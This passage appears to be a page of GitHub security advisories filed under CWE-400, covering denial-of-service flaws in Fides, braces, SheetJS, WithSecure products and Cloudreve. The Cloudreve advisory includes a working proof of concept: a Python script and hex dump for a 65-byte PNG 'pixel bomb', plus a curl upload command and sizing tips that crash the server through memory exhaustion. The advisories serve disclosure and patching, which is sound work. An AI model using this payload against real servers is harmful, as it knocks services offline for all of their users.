CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5592 vulnerabilities reference this CWE, most recent first.
GHSA-G95C-2JGM-HQC6
Vulnerability from github – Published: 2023-07-18 19:22 – Updated: 2023-07-18 19:22Impact
The Fides webserver is vulnerable to a type of Denial of Service (DoS) attack. Attackers can exploit a weakness in the connector template upload feature to upload a malicious zip bomb file, resulting in resource exhaustion and service unavailability for all users of the Fides webserver.
This vulnerability affects Fides versions 2.11.0 through 2.15.1. Exploitation is limited to users with elevated privileges with the CONNECTOR_TEMPLATE_REGISTER scope, which includes root users and users with the owner role.
Patches
The vulnerability has been patched in Fides version 2.16.0. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds
There is no known workaround to remediate this vulnerability without upgrading. If an attack occurs, the impact can be mitigated by manually or automatically restarting the affected container.
References
More information about this type of vulnerability can be found at the following links:
- https://www.bamsoftware.com/hacks/zipbomb/
- https://python-security.readthedocs.io/security.html#archives-and-zip-bomb-cve-2019-9674
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ethyca-fides"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.0"
},
{
"fixed": "2.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37480"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-18T19:22:18Z",
"nvd_published_at": "2023-07-18T19:15:09Z",
"severity": "LOW"
},
"details": "### Impact\nThe Fides webserver is vulnerable to a type of Denial of Service (DoS) attack. Attackers can exploit a weakness in the connector template upload feature to upload a malicious zip bomb file, resulting in resource exhaustion and service unavailability for all users of the Fides webserver.\n\nThis vulnerability affects Fides versions `2.11.0` through `2.15.1`. Exploitation is limited to users with elevated privileges with the `CONNECTOR_TEMPLATE_REGISTER` scope, which includes root users and users with the owner role.\n\n### Patches\nThe vulnerability has been patched in Fides version `2.16.0`. Users are advised to upgrade to this version or later to secure their systems against this threat.\n\n### Workarounds\nThere is no known workaround to remediate this vulnerability without upgrading. If an attack occurs, the impact can be mitigated by manually or automatically restarting the affected container.\n\n### References\nMore information about this type of vulnerability can be found at the following links:\n\n- https://www.bamsoftware.com/hacks/zipbomb/\n- https://python-security.readthedocs.io/security.html#archives-and-zip-bomb-cve-2019-9674\n",
"id": "GHSA-g95c-2jgm-hqc6",
"modified": "2023-07-18T19:22:18Z",
"published": "2023-07-18T19:22:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/security/advisories/GHSA-g95c-2jgm-hqc6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37480"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/commit/5aea738463960d81821c11ae7ade1d627a46bf32"
},
{
"type": "PACKAGE",
"url": "https://github.com/ethyca/fides"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/releases/tag/2.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Fides Webserver Vulnerable to Zip Bomb File Uploads"
}
GHSA-G95F-P29Q-9XW4
Vulnerability from github – Published: 2019-06-06 15:30 – Updated: 2026-02-03 17:47Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-cwfw-4gq5-mrqx. This link is maintained to preserve external references.
Original Description
Versions of braces prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Recommendation
Upgrade to version 2.3.1 or higher.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "braces"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-185",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2019-06-06T09:40:51Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-cwfw-4gq5-mrqx. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `braces` prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 2.3.1 or higher.",
"id": "GHSA-g95f-p29q-9xw4",
"modified": "2026-02-03T17:47:36Z",
"published": "2019-06-06T15:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/braces/commit/abdafb0cae1e0c00f184abbadc692f4eaa98f451"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/npm:braces:20180219"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/786"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Regular Expression Denial of Service in braces",
"withdrawn": "2026-02-03T17:47:36Z"
}
GHSA-G973-978J-2C3P
Vulnerability from github – Published: 2021-07-22 19:47 – Updated: 2022-02-08 21:02SheetJS Pro through 0.16.9 allows attackers to cause a denial of service (CPU consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "xlsx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.webjars.npm:xlsx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32014"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-19T21:44:42Z",
"nvd_published_at": "2021-07-19T14:15:00Z",
"severity": "MODERATE"
},
"details": "SheetJS Pro through 0.16.9 allows attackers to cause a denial of service (CPU consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js.",
"id": "GHSA-g973-978j-2c3p",
"modified": "2022-02-08T21:02:26Z",
"published": "2021-07-22T19:47:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32014"
},
{
"type": "WEB",
"url": "https://floqast.com/engineering-blog/post/fuzzing-and-parsing-securely"
},
{
"type": "WEB",
"url": "https://sheetjs.com/pro"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/xlsx/v/0.17.0"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service in SheetJS Pro"
}
GHSA-G984-6P7H-QW9R
Vulnerability from github – Published: 2023-09-22 06:30 – Updated: 2024-04-04 07:48Certain WithSecure products allow Denial of Service via the aepack archive unpack handler. This affects WithSecure Client Security 15, WithSecure Server Security 15, WithSecure Email and Server Security 15, WithSecure Elements Endpoint Protection 17 and later, WithSecure Client Security for Mac 15, WithSecure Elements Endpoint Protection for Mac 17 and later, Linux Security 64 12.0 , Linux Protection 12.0, and WithSecure Atlant (formerly F-Secure Atlant) 1.0.35-1.
{
"affected": [],
"aliases": [
"CVE-2023-43767"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-22T05:15:09Z",
"severity": "HIGH"
},
"details": "Certain WithSecure products allow Denial of Service via the aepack archive unpack handler. This affects WithSecure Client Security 15, WithSecure Server Security 15, WithSecure Email and Server Security 15, WithSecure Elements Endpoint Protection 17 and later, WithSecure Client Security for Mac 15, WithSecure Elements Endpoint Protection for Mac 17 and later, Linux Security 64 12.0 , Linux Protection 12.0, and WithSecure Atlant (formerly F-Secure Atlant) 1.0.35-1.",
"id": "GHSA-g984-6p7h-qw9r",
"modified": "2024-04-04T07:48:12Z",
"published": "2023-09-22T06:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43767"
},
{
"type": "WEB",
"url": "https://www.withsecure.com/en/support/security-advisories"
},
{
"type": "WEB",
"url": "https://www.withsecure.com/en/support/security-advisories/cve-2023-nnn3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G9J2-8W95-3VWV
Vulnerability from github – Published: 2026-07-24 20:48 – Updated: 2026-07-24 20:48Summary
Cloudreve's built-in image processor decodes user-supplied images with Go's standard-library decoders (image/png, image/jpeg, image/gif) and guards only the compressed file size — never the decoded pixel dimensions. Go's decoders allocate a pixel buffer sized bytesPerPixel × width × height taken straight from the image header (e.g. a PNG's IHDR), with no upper bound on width/height. A tiny (tens-of-bytes) image that declares enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (make([]uint8, …)), exhausting memory. The resulting out-of-memory condition is a fatal Go runtime error / kernel OOM-kill that recover() cannot catch, terminating the whole Cloudreve process for all users.
Two reachable sinks share the same root cause:
- Avatar upload (
PUT /api/v4/user/setting/avatar) — decodes synchronously in the request handler. Any authenticated user. Cleanest single-request PoC. - Thumbnail generation (built-in generator, enabled by default) — decodes in the thumbnail queue worker. Reachable for the user's own files and for files inside a share, so a planted bomb can be (re)triggered through a public share link.
Post-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.
Details
Root cause — decode guarded by file size, not pixel count
The built-in generator is the default image thumbnailer:
// inventory/setting.go @ 26b6b10
"thumb_builtin_enabled": "1", // ON by default
"thumb_builtin_max_size": "78643200", // 75 MB — a *file size* cap
"thumb_vips_enabled": "0", // libvips (which has its own limits) OFF by default
...
"avatar_size": "4194304", // 4 MB — a *file size* cap
Builtin.Generate checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:
// pkg/thumb/builtin.go:144-152 @ 26b6b10
func (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {
if es.Entity().Size() > b.settings.BuiltinThumbMaxSize(ctx) { // 75 MB compressed-size check ONLY
return nil, fmt.Errorf("file is too big: %w", ErrPassThrough)
}
img, err := NewThumbFromFile(es, ext) // <-- decode; allocation happens here
...
}
// pkg/thumb/builtin.go:34-60 @ 26b6b10
func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {
switch ext {
case "jpg", "jpeg": img, err = jpeg.Decode(file)
case "gif": img, err = gif.Decode(file)
case "png": img, err = png.Decode(file) // <-- unbounded allocation
...
}
}
There is no image.DecodeConfig pre-check and no dimension/pixel cap anywhere on the path. The only Bounds()/MaxWidth references in the package (builtin.go:70,92,125, avatar_size_l=200) act on the already-decoded image and are the output resize target — they execute long after the oversized input buffer has been allocated.
Why the allocation is unbounded (Go stdlib image/png)
Go's PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values — there is no maximum:
// Go src/image/png/reader.go — parseIHDR
w := int32(binary.BigEndian.Uint32(d.tmp[0:4]))
h := int32(binary.BigEndian.Uint32(d.tmp[4:8]))
if w <= 0 || h <= 0 { return FormatError("non-positive dimension") } // only guard
d.width, d.height = int(w), int(h)
On the first IDAT, readImagePass allocates the destination image before consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):
// Go src/image/png/reader.go — readImagePass
nrgba = image.NewNRGBA(image.Rect(0, 0, width, height)) // make([]uint8, 4*width*height)
image.NewNRGBA → pixelBufferLength → mul3NonNeg(4, w, h) only guards against integer overflow (returns −1, which panics), not against huge-but-valid sizes. So any 4·w·h that fits in an int and is below the runtime's maxAlloc (~2⁴⁸ on amd64) proceeds to make([]uint8, 4·w·h). The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.
jpeg.Decode (allocates the YCbCr/RGBA buffer from the SOF/SOS dimensions, max 65535×65535 → up to ~17 GB) and gif.Decode (allocates from the logical-screen / frame dimensions) are affected the same way.
Why this is a fatal crash, not a handled error
For realistic bomb sizes (GBs–hundreds of GBs, all < maxAlloc), make proceeds and the process dies by one of:
- Kernel OOM-killer sends SIGKILL when the touched pages can't be backed — not catchable by anything; or
- the Go runtime throw("out of memory") — a fatal error, not a recoverable panic, so gin.Recovery() does not save it.
(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)
Reachability of each sink
Avatar (synchronous, in the HTTP handler):
// routers/router.go:1269 @ 26b6b10 (under auth.Use(LoginRequired()) → user group)
setting.PUT("avatar", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)
// service/user/setting.go:158-217 @ 26b6b10
func UpdateUserAvatar(c *gin.Context) error {
...
if c.Request.ContentLength == -1 || c.Request.ContentLength > avatarSettings.MaxFileSize { // 4 MB cap
return ...CodeFileTooLarge
}
return updateAvatarFile(c, u, c.GetHeader("Content-Type"), c.Request.Body, avatarSettings)
}
func updateAvatarFile(...) error {
ext := "png"
switch contentType { case "image/jpeg","image/jpg": ext="jpg"; case "image/gif": ext="gif" }
avatar, err := thumb.NewThumbFromFile(file, ext) // <-- decode of attacker bytes; no dim check
...
}
A 65-byte PoC trivially satisfies the 4 MB ContentLength cap.
Thumbnail (queue worker, in-process): manager.Thumbnail → SubmitAndAwaitThumbnailTask → generateThumb → pipeline.Generate (pkg/filemanager/manager/thumbnail.go:128-145, pkg/thumb/pipeline.go:86). The pipeline tries the enabled-by-default built-in generator for png/jpg/gif (other generators return ErrPassThrough for those extensions). Triggered via GET /api/v4/file/thumb?uri=… for the user's own files, and the same generation runs for files reached through a share (NavigatorCapabilityGenerateThumb), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.
Proof of Concept
The bomb (65 bytes — included as pixelbomb.png)
Generated with:
import struct, zlib, binascii
def chunk(t,d):
c=t+d; return struct.pack(">I",len(d))+c+struct.pack(">I",binascii.crc32(c)&0xffffffff)
sig=b'\x89PNG\r\n\x1a\n'
W,H=0x7FFFFFFF,0x10 # 2147483647 x 16
ihdr=struct.pack(">IIBBBBB",W,H,8,6,0,0,0) # 8-bit, colour-type 6 (RGBA)
png=sig+chunk(b'IHDR',ihdr)+chunk(b'IDAT',zlib.compress(b''))+chunk(b'IEND',b'')
open('pixelbomb.png','wb').write(png)
# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)
Hex (entire file):
8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
7fff ffff 0000 0010 0806 0000 0068 bce2 .............h..
e300 0000 0849 4441 5478 9c03 0000 0000 .....IDATx......
0148 0689 d200 0000 0049 454e 44ae 4260 .H.......IEND.B`
82
(Dimensions are tunable: 4·W·H must stay < 2⁶³ to avoid the overflow→panic branch and < maxAlloc. 2147483647 × 16 → 128 GiB reliably OOM-kills any host; shrink H for smaller targets.)
Trigger (avatar — single request)
base=https://host/api/v4
curl -s -X PUT "$base/user/setting/avatar" \
-H "Authorization: Bearer $TOK" \
-H 'Content-Type: image/png' \
--data-binary @pixelbomb.png
Observable result
# Either the kernel OOM-killer terminates the process:
# dmesg: "Out of memory: Killed process <pid> (cloudreve)"
# or the Go runtime aborts fatally:
# fatal error: runtime: out of memory
# The Cloudreve process exits; all users get connection-refused until restart.
Impact
- Direct primitive: full availability loss — the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.
- Persistence / repeatability: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.
- Amplification: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.
- No special privilege: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.
Suggested Mitigation
Cap decoded pixel dimensions before fully decoding, in addition to the existing file-size cap. Use image.DecodeConfig (reads only the header) and reject images whose width × height (or either dimension) exceeds a configurable limit; apply it in NewThumbFromFile so both the thumbnail and avatar paths are covered.
--- a/pkg/thumb/builtin.go
+++ b/pkg/thumb/builtin.go
@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {
- var err error
- var img image.Image
- switch ext {
+ const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable
+ // Peek header-only to reject pixel/decompression bombs before allocation.
+ var hdrBuf bytes.Buffer
+ cfg, _, err := image.DecodeConfig(io.TeeReader(file, &hdrBuf))
+ if err != nil {
+ return nil, fmt.Errorf("failed to read image config: %w (%w)", err, ErrPassThrough)
+ }
+ if int64(cfg.Width)*int64(cfg.Height) > maxPixels {
+ return nil, fmt.Errorf("image dimensions too large (%dx%d): %w", cfg.Width, cfg.Height, ErrPassThrough)
+ }
+ file = io.MultiReader(&hdrBuf, file) // replay consumed header bytes
+ var img image.Image
+ switch ext {
case "jpg", "jpeg": img, err = jpeg.Decode(file)
case "gif": img, err = gif.Decode(file)
case "png": img, err = png.Decode(file)
Additionally:
- Apply the same pixel cap to the avatar path (covered automatically if it routes through NewThumbFromFile, as it does).
- Consider running image decoding in a memory-limited child process / with debug.SetMemoryLimit + a GOMEMLIMIT-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.
Why sufficient: DecodeConfig parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0-20260613024411-3607f79bb44c"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.0-20250225100611-da4e44b77af4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55497"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T20:48:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nCloudreve\u0027s built-in image processor decodes user-supplied images with Go\u0027s standard-library decoders (`image/png`, `image/jpeg`, `image/gif`) and guards **only the compressed file size** \u2014 never the *decoded* pixel dimensions. Go\u0027s decoders allocate a pixel buffer sized `bytesPerPixel \u00d7 width \u00d7 height` taken straight from the image header (e.g. a PNG\u0027s IHDR), with no upper bound on `width`/`height`. A tiny (tens-of-bytes) image that *declares* enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (`make([]uint8, \u2026)`), exhausting memory. The resulting out-of-memory condition is a **fatal Go runtime error / kernel OOM-kill that `recover()` cannot catch**, terminating the whole Cloudreve process for all users.\n\nTwo reachable sinks share the same root cause:\n\n1. **Avatar upload** (`PUT /api/v4/user/setting/avatar`) \u2014 decodes synchronously in the request handler. Any authenticated user. **Cleanest single-request PoC.**\n2. **Thumbnail generation** (built-in generator, **enabled by default**) \u2014 decodes in the thumbnail queue worker. Reachable for the user\u0027s own files *and* for files inside a share, so a planted bomb can be (re)triggered through a public share link.\n\nPost-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.\n\n### Details\n### Root cause \u2014 decode guarded by file size, not pixel count\n\nThe built-in generator is the **default** image thumbnailer:\n\n```go\n// inventory/setting.go @ 26b6b10\n\"thumb_builtin_enabled\": \"1\", // ON by default\n\"thumb_builtin_max_size\": \"78643200\", // 75 MB \u2014 a *file size* cap\n\"thumb_vips_enabled\": \"0\", // libvips (which has its own limits) OFF by default\n...\n\"avatar_size\": \"4194304\", // 4 MB \u2014 a *file size* cap\n```\n`Builtin.Generate` checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:\n\n```go\n// pkg/thumb/builtin.go:144-152 @ 26b6b10\nfunc (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {\n if es.Entity().Size() \u003e b.settings.BuiltinThumbMaxSize(ctx) { // 75 MB compressed-size check ONLY\n return nil, fmt.Errorf(\"file is too big: %w\", ErrPassThrough)\n }\n img, err := NewThumbFromFile(es, ext) // \u003c-- decode; allocation happens here\n ...\n}\n\n// pkg/thumb/builtin.go:34-60 @ 26b6b10\nfunc NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n switch ext {\n case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n case \"gif\": img, err = gif.Decode(file)\n case \"png\": img, err = png.Decode(file) // \u003c-- unbounded allocation\n ...\n }\n}\n```\n\nThere is **no `image.DecodeConfig` pre-check** and **no dimension/pixel cap** anywhere on the path. The only `Bounds()`/`MaxWidth` references in the package (`builtin.go:70,92,125`, `avatar_size_l=200`) act on the *already-decoded* image and are the *output* resize target \u2014 they execute long after the oversized input buffer has been allocated.\n\n### Why the allocation is unbounded (Go stdlib `image/png`)\n\nGo\u0027s PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values \u2014 there is no maximum:\n\n```go\n// Go src/image/png/reader.go \u2014 parseIHDR\nw := int32(binary.BigEndian.Uint32(d.tmp[0:4]))\nh := int32(binary.BigEndian.Uint32(d.tmp[4:8]))\nif w \u003c= 0 || h \u003c= 0 { return FormatError(\"non-positive dimension\") } // only guard\nd.width, d.height = int(w), int(h)\n```\n\nOn the first IDAT, `readImagePass` allocates the destination image **before** consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):\n\n```go\n// Go src/image/png/reader.go \u2014 readImagePass\nnrgba = image.NewNRGBA(image.Rect(0, 0, width, height)) // make([]uint8, 4*width*height)\n```\n\n`image.NewNRGBA` \u2192 `pixelBufferLength` \u2192 `mul3NonNeg(4, w, h)` only guards against *integer overflow* (returns \u22121, which panics), not against huge-but-valid sizes. So any `4\u00b7w\u00b7h` that fits in an `int` and is below the runtime\u0027s `maxAlloc` (~2\u2074\u2078 on amd64) proceeds to `make([]uint8, 4\u00b7w\u00b7h)`. The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.\n\n`jpeg.Decode` (allocates the `YCbCr`/`RGBA` buffer from the SOF/SOS dimensions, max 65535\u00d765535 \u2192 up to ~17 GB) and `gif.Decode` (allocates from the logical-screen / frame dimensions) are affected the same way.\n\n### Why this is a fatal crash, not a handled error\n\nFor realistic bomb sizes (GBs\u2013hundreds of GBs, all `\u003c maxAlloc`), `make` proceeds and the process dies by one of:\n- **Kernel OOM-killer** sends SIGKILL when the touched pages can\u0027t be backed \u2014 not catchable by anything; or\n- the Go runtime **`throw(\"out of memory\")`** \u2014 a *fatal* error, **not** a recoverable `panic`, so `gin.Recovery()` does not save it.\n\n(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)\n\n### Reachability of each sink\n\n**Avatar (synchronous, in the HTTP handler):**\n\n```go\n// routers/router.go:1269 @ 26b6b10 (under auth.Use(LoginRequired()) \u2192 user group)\nsetting.PUT(\"avatar\", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)\n\n// service/user/setting.go:158-217 @ 26b6b10\nfunc UpdateUserAvatar(c *gin.Context) error {\n ...\n if c.Request.ContentLength == -1 || c.Request.ContentLength \u003e avatarSettings.MaxFileSize { // 4 MB cap\n return ...CodeFileTooLarge\n }\n return updateAvatarFile(c, u, c.GetHeader(\"Content-Type\"), c.Request.Body, avatarSettings)\n}\nfunc updateAvatarFile(...) error {\n ext := \"png\"\n switch contentType { case \"image/jpeg\",\"image/jpg\": ext=\"jpg\"; case \"image/gif\": ext=\"gif\" }\n avatar, err := thumb.NewThumbFromFile(file, ext) // \u003c-- decode of attacker bytes; no dim check\n ...\n}\n```\n\nA 65-byte PoC trivially satisfies the 4 MB `ContentLength` cap.\n\n**Thumbnail (queue worker, in-process):** `manager.Thumbnail` \u2192 `SubmitAndAwaitThumbnailTask` \u2192 `generateThumb` \u2192 `pipeline.Generate` (`pkg/filemanager/manager/thumbnail.go:128-145`, `pkg/thumb/pipeline.go:86`). The pipeline tries the **enabled-by-default** built-in generator for `png/jpg/gif` (other generators return `ErrPassThrough` for those extensions). Triggered via `GET /api/v4/file/thumb?uri=\u2026` for the user\u0027s own files, and the same generation runs for files reached through a share (`NavigatorCapabilityGenerateThumb`), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.\n\n## Proof of Concept\n\n### The bomb (65 bytes \u2014 included as `pixelbomb.png`)\n\nGenerated with:\n\n```python\nimport struct, zlib, binascii\ndef chunk(t,d):\n c=t+d; return struct.pack(\"\u003eI\",len(d))+c+struct.pack(\"\u003eI\",binascii.crc32(c)\u00260xffffffff)\nsig=b\u0027\\x89PNG\\r\\n\\x1a\\n\u0027\nW,H=0x7FFFFFFF,0x10 # 2147483647 x 16\nihdr=struct.pack(\"\u003eIIBBBBB\",W,H,8,6,0,0,0) # 8-bit, colour-type 6 (RGBA)\npng=sig+chunk(b\u0027IHDR\u0027,ihdr)+chunk(b\u0027IDAT\u0027,zlib.compress(b\u0027\u0027))+chunk(b\u0027IEND\u0027,b\u0027\u0027)\nopen(\u0027pixelbomb.png\u0027,\u0027wb\u0027).write(png)\n# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)\n```\n\nHex (entire file):\n\n```\n8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR\n7fff ffff 0000 0010 0806 0000 0068 bce2 .............h..\ne300 0000 0849 4441 5478 9c03 0000 0000 .....IDATx......\n0148 0689 d200 0000 0049 454e 44ae 4260 .H.......IEND.B`\n82\n```\n(Dimensions are tunable: `4\u00b7W\u00b7H` must stay `\u003c 2\u2076\u00b3` to avoid the overflow\u2192panic branch and `\u003c maxAlloc`. `2147483647 \u00d7 16` \u2192 128 GiB reliably OOM-kills any host; shrink `H` for smaller targets.)\n\n### Trigger (avatar \u2014 single request)\n\n```bash\nbase=https://host/api/v4\ncurl -s -X PUT \"$base/user/setting/avatar\" \\\n -H \"Authorization: Bearer $TOK\" \\\n -H \u0027Content-Type: image/png\u0027 \\\n --data-binary @pixelbomb.png\n```\n\n### Observable result\n\n```\n# Either the kernel OOM-killer terminates the process:\n# dmesg: \"Out of memory: Killed process \u003cpid\u003e (cloudreve)\"\n# or the Go runtime aborts fatally:\n# fatal error: runtime: out of memory\n# The Cloudreve process exits; all users get connection-refused until restart.\n```\n## Impact\n\n- **Direct primitive**: full availability loss \u2014 the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.\n- **Persistence / repeatability**: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.\n- **Amplification**: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.\n- **No special privilege**: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.\n\n## Suggested Mitigation\n\nCap **decoded pixel dimensions** before fully decoding, in addition to the existing file-size cap. Use `image.DecodeConfig` (reads only the header) and reject images whose `width \u00d7 height` (or either dimension) exceeds a configurable limit; apply it in `NewThumbFromFile` so both the thumbnail and avatar paths are covered.\n\n```diff\n--- a/pkg/thumb/builtin.go\n+++ b/pkg/thumb/builtin.go\n@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n- var err error\n- var img image.Image\n- switch ext {\n+ const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable\n+ // Peek header-only to reject pixel/decompression bombs before allocation.\n+ var hdrBuf bytes.Buffer\n+ cfg, _, err := image.DecodeConfig(io.TeeReader(file, \u0026hdrBuf))\n+ if err != nil {\n+ return nil, fmt.Errorf(\"failed to read image config: %w (%w)\", err, ErrPassThrough)\n+ }\n+ if int64(cfg.Width)*int64(cfg.Height) \u003e maxPixels {\n+ return nil, fmt.Errorf(\"image dimensions too large (%dx%d): %w\", cfg.Width, cfg.Height, ErrPassThrough)\n+ }\n+ file = io.MultiReader(\u0026hdrBuf, file) // replay consumed header bytes\n+ var img image.Image\n+ switch ext {\n case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n case \"gif\": img, err = gif.Decode(file)\n case \"png\": img, err = png.Decode(file)\n```\n\nAdditionally:\n- Apply the same pixel cap to the avatar path (covered automatically if it routes through `NewThumbFromFile`, as it does).\n- Consider running image decoding in a memory-limited child process / with `debug.SetMemoryLimit` + a `GOMEMLIMIT`-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.\n\nWhy sufficient: `DecodeConfig` parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.",
"id": "GHSA-g9j2-8w95-3vwv",
"modified": "2026-07-24T20:48:10Z",
"published": "2026-07-24T20:48:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-g9j2-8w95-3vwv"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/commit/3607f79bb44c35d0be4fa8b6e24c0502b51415a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudreve/cloudreve"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
